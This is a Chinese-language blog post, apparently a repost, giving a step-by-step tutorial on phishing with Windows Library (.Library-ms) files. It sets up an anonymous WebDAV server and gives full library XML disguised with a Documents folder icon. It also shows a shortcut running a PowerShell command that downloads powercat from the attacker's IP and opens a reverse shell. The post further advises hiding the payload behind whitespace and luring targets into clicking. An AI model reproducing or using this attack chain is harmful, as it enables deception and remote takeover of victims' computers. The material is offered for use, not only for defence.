利用Windows库文件进行Phishing

admin 2023年5月25日02:04:46评论21 views字数 3888阅读12分57秒阅读模式

库是用户内容的虚拟容器。库可以包含存储在本地计算机上或远程存储位置中的文件和文件夹。在 Windows 资源管理器中,用户与库的交互方式类似于与其他文件夹的交互方式。库基于用户熟悉的旧式已知文件夹 ((如“我的文档”、“我的图片”和“我的音乐”) ),这些已知文件夹会自动包含在默认库中,并设置为默认保存位置。

# 参考链接:https://learn.microsoft.com/zh-cn/windows/client-management/client-tools/windows-libraries

首先,我们先创建一个WebDAV的文件共享库。

pip3 install wsgidav

然后创建webdav目录,用作共享文件夹。在共享文件夹中再创建一个测试txt文件。最后再配置webdav运行的目录、监听的IP、端口、允许匿名用户访问、根目录位置等。

mkdir /home/kali/webdavtouch /home/kali/webdav/test.txt/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

访问本地地址,可以看到我们的webdav服务已经启用了,并且测试文件也能看到和下载了。

利用Windows库文件进行Phishing

接下来,我们再创建以个库文件config.Library-ms库文件的内容是由XML编写,并由一般库信息、库属性、库位置三部分构成。从开始标识到结束标识,最基本的内容如下:

<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
</libraryDescription>

创建库文件以后,我们可以看到文件icon似乎有点怪怪的,看起来不像我们平时经常打开的文件icon。所以为了增加可信度,增强phishing的成功率,我们可以对icon进行更改。这里可以采用iconReference标签在imageres.dll库中指定。在imageres.dll中,004为Documents Folder的icon。当然,也可以指定其他的icons,比如-1003是图片索引的icon。这里我提供一个icons in imageres.dll list。

# 参考链接https://renenyffenegger.ch/development/Windows/PowerShell/examples/WinAPI/ExtractIconEx/imageres.html

为了根据有迷惑性,我们再使用templateInfo标签来指定库文件打开后在Windows资源管理器中的列和详细信息显示为Documents Folder。因此我们还需要再加一个folderType子标签,并且为该标签指定一个GUID。GUID的对照表可查看Microsoft官方文档。

利用Windows库文件进行Phishing
<iconReference>imageres.dll,004</iconReference><templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo>

然后我们还缺一个必要的标签,根据Microsoft官方文档的描述,name标签是必须的。该标签是为了指定库名称的(非库文件名称)。我们根据官方文档来写,顺便把版本信息也写进去(随意些什么版本都OK)。

# 官方文档地址https://learn.microsoft.com/en-us/windows/win32/shell/schema-library-name
<name>@windows.storage.dll,-34582</name><version>1.0</version>

库文件的伪装基本OK了,接下来我们需要写入关键的内容。就是将库文件链接到我们之前搭建的webdav。这就需要用到searchConnectorDescriptionList标签来标记库文件指向的存储位置。在这个标签下,我们还需要searchConnectorDescription来定义搜索连接器列表。同时,为了让用户在保存内容的时候,库文件使用默认行为和位置。所以还要添加一个isDefaultSaveLocation标签,并且是这位true。最后,也是最重要的部分,就是用url标签来指向连接我们的webdav远程位置。而url标签需要simpleLocation标签来指定。

这一段可能有点绕,我稍微做一下整理,进行解释:

1.目的是为了让库文件链接我们的webdav,因此需要url标签;

2.因为要url标签,所以要先有simpleLocation标签;

3.而要有simpleLocation标签,就需要searchConnectorDescriptionList标签 ##标记库文件指向的存储位置;

3.在searchConnectorDescriptionList标签下,需要searchConnectorDescription ##定义搜索连接器列表;

4.为了保存内容的时候,库文件使用的是默认行为和位置,因此还需要isDefaultSaveLocation

以下是searchConnectorDescriptionList完整的代码:

<searchConnectorDescriptionList>  <searchConnectorDescription>    <isDefaultSaveLocation>true</isDefaultSaveLocation>    <simpleLocation>      <url>http://192.168.45.189</url>    </simpleLocation>  </searchConnectorDescription></searchConnectorDescriptionList>

最后,我们来看看整个完整的库文件xml代码:

<?xml version="1.0" encoding="UTF-8"?><libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">  <name>@windows.storage.dll,-34582</name>  <version>1.0</version>  <iconReference>imageres.dll,004</iconReference>  <templateInfo>    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>  </templateInfo>  <searchConnectorDescriptionList>    <searchConnectorDescription>      <isDefaultSaveLocation>true</isDefaultSaveLocation>      <simpleLocation>        <url>http://192.168.45.189</url>      </simpleLocation>    </searchConnectorDescription>  </searchConnectorDescriptionList></libraryDescription>

我们双击打开编辑好的库文件,可以看到icon图标是一个文件夹的图标,打开以后的位置也是我们webdav的位置,里面存放的就是我们之前创建的测试文件。

利用Windows库文件进行Phishing

但是当我们再次查看库文件的xml内容时,可以看到内容多了一个serialized标签。这个标签的内容实际上就是url标签的位置内容。同时我们也可以看到url标签的位置从http://192.168.45.189变为了192.168.45.189DavWWWRoot。所以需要注意的就是库文件现在双击打开虽然仍然有效,但是因为序列化标签的问题,这个库文件在其他机器或该机器重启后就失效了。

利用Windows库文件进行Phishing

接下来,我们来做最后一步的准备。就是利用库文件来执行我们想要的代码。我们先创建一个快捷方式。

利用Windows库文件进行Phishing

在创建快捷方式的时候指定我们想要的路径和命令。这里我是指定执行 PowerShell并去下载powercat,再用powercat去反向连接我们的nc。然后点击下一步,并取一个比较有诱导性的名称。

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.189:8080/powercat.ps1');powercat -c 192.168.45.189 -p 4444 -e powershell"
利用Windows库文件进行Phishing

创建快捷方式后,为了更具迷惑性,也可以改一下快捷方式的icon。同时在target那里,如果担心目标用户会去查看,然后怀疑文件的话,这里也可以用空格或其他无害内容加分号的方式把有害内容往后推,一直到看不见为止。

利用Windows库文件进行Phishing

最后把库文件发给目标用户,并诱导其点击我们制作的lnk文件,即可收到反弹的shell。

利用Windows库文件进行Phishing

原文始发于微信公众号(Matrix1024):利用Windows库文件进行Phishing

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日02:04:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用Windows库文件进行Phishinghttp://cn-sec.com/archives/1758515.html

发表评论

匿名网友 填写信息